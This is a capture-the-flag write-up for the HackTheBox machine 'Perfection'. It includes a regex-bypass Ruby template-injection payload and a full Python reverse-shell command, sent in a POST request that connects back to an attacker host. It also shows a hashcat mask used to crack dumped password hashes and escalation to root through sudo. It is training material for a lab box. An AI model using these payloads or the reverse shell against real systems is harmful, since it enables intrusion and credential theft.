HackTheBox: Account

Contact: [email protected]

Follow me on: X

Check My: Github

Back to home
Perfection

Perfection

Last modified: 2024-08-01 21:43:25

Machine name OS IP Difficulty
Perfection Linux 10.10.11.253 Easy

User

  1. Check if the host is responsive

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.11.253                                       
PING 10.10.11.253 (10.10.11.253) 56(84) bytes of data.
64 bytes from 10.10.11.253: icmp_seq=1 ttl=63 time=206 ms
64 bytes from 10.10.11.253: icmp_seq=2 ttl=63 time=105 ms
  1. Check the running services

Let's check all running services and their versions using the nmap command:

└─# nmap -sV -sC 10.10.11.253 -Pn                                   
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.253
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds

The output shows that there are two running services with opened ports:

And the OS of the machine is, of course, Linux (probably Ubuntu).

  1. Check the web application

└─# whatweb 10.10.11.253              
http://10.10.11.253 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], IP[10.10.11.253], PoweredBy[WEBrick], Ruby[3.0.2], Script, Title[Weighted Grade Calculator], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]

Using the whatweb tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:

There are a few other headers returned:

Going through the application, there are 3 endpoints:

  1. Testing the endpoint for weighted grade calculation

A few points:

Since the filter itself may be vulnerable, let's try to bypass it.

  1. Bypassing the filter to exploit SSTI

Using command:

cat /usr/share/wordlists/seclists/Fuzzing/special-chars.txt | jq -R -s -c 'split("\n") | map(@uri) | .[]' | sed 's/^"\(.*\)"$/\1/' | xclip -selection c

I get the content of the /usr/share/wordlists/seclists/Fuzzing/special-chars.txt file, URL encode it, remove quotes, and paste it into the clipboard, so it can be copied into Burp Suite Intruder. However, this wordlist does not include three special characters: \r, \n, and space, which are URL encoded as %0a, %0d, and %20, respectively. So let's add them.

With Burp Suite Intruder, we can determine which of the special characters are not blocked by the filter:

There are three characters (the first one is empty) not blocked by the filter:

The new line is suspicious. The regex probably looks something like this: ^[0-9a-zA-Z \/].+$

| NOTE: We will verify the assumption later, after we obtain the source code of the application.

The regex is vulnerable. If you put the payload after the newline, the regex will match the first line, so it will not be blocked, and the malicious input will be reflected. Let's test it using Burp Suite Repeater:

| NOTE: For payloads, I am using - PayloadsAllTheThings, section Ruby, as we know that the application is written in ruby.

In the response page, there is 49, so the SSTI was successful! The filter is bypassed. Let's test by injecting some shell commands.

  1. Injecting SHELL command

| NOTE: The payload is from - PayloadsAllTheThings

Using payload <%25%3d+``id``+%25> (the URL-encoded form of <%= ``id`` %>), we get uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo):

... susan is part of the sudo group. Hmmm, interesting.

This way, we verified that we can call shell commands. Let's invoke a reverse shell.

  1. Reverse shell

Using page - revshells you we can create a reverse shell command in the language we prefer.

I used the following command:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

This way, you invoke the target system to connect back to your system:

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
Content-Length: 191
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.253
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.253/weighted-grade
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

category1=asddd%0a<%25%3d+`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.2",8888))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`+%25>&grade1=1&weight1=20&category2=asd&grade2=1&weight2=20&category3=asd&grade3=1&weight3=10&category4=asd&grade4=1&weight4=10&category5=asd&grade5=1&weight5=40

Before we make the request, we need to create a listener:

nc -nvlp 8888

And after make call the request, we get the reverse shell!!:

└─# nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.253] 48540
$ whoami
whoami
susan
$ 
  1. User flag

The user flag is in /home/susan/user.txt.

Root

  1. Make better shell

This way, the shell supports command completion, CTRL+C can be used to interrupt the current process, and copy-pasting is much more user-friendly.

  1. Put some useful tools on the server

  1. Using linenum, we can find something interesting in /var/mail/susan:

-e [-] Any interesting mail in /var/mail:
total 12
drwxrwsr-x  2 root mail  4096 May 14  2023 .
drwxr-xr-x 13 root root  4096 Oct 27  2023 ..
-rw-r-----  1 root susan  625 May 14  2023 susan

And inside, there is a message:

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Now we know that passwords are made using the following format - {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}, but we don't have anything to crack yet.

In the home folder, there is a directory named Migration, and inside it, there is a .db file.

Using sqlite3 I am able to get the content:

susan@perfection:~/Migration$ sqlite3 /home/susan/Migration/pupilpath_credentials.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
INSERT INTO users VALUES(1,'Susan Miller','abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f');
INSERT INTO users VALUES(2,'Tina Smith','dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57');
INSERT INTO users VALUES(3,'Harry Tyler','d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393');
INSERT INTO users VALUES(4,'David Lawrence','ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a');
INSERT INTO users VALUES(5,'Stephen Locke','154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8');
COMMIT;

And we have the hashes to crack.

  1. Cracking hashes using hashcat

Using command:

hashcat -m 1400 -a 3 hash --increment --increment-min 12 --increment-max 22 susan_nasus_?d?d?d?d?d?d?d?d?d?d

We get the password: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210, and we are able to log in using SSH.

  1. Getting the root

As we know from previous observations that susan is in the sudo group, we can simply call sudo /bin/sh:

susan@perfection:~$ sudo -l
[sudo] password for susan: 
Sorry, try again.
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~$ sudo /bin/sh
# whoami
root

And get the root flag from /root/root.txt.

Assumptions verifications

  1. Running OS

We assumed, based on the OpenSSH version, that the running OS is Ubuntu. Let's verify it using the uname -a and cat /etc/os-release commands:

# uname -a
uname -a
Linux perfection 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Running OS - Ubuntu 22.04.4 LTS.

  1. Regex used for filtering the input

We assumed that the filtering regex looks like this - ^[0-9a-zA-Z \/].+$. Let's verify it by checking the source code of the application using the command cat /home/susan/ruby_app/main.rb to get the used regex:

...
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/
...

The assumption is not far from the truth; the used regex is ^[a-zA-Z0-9\/ ]+$.

Table of Contents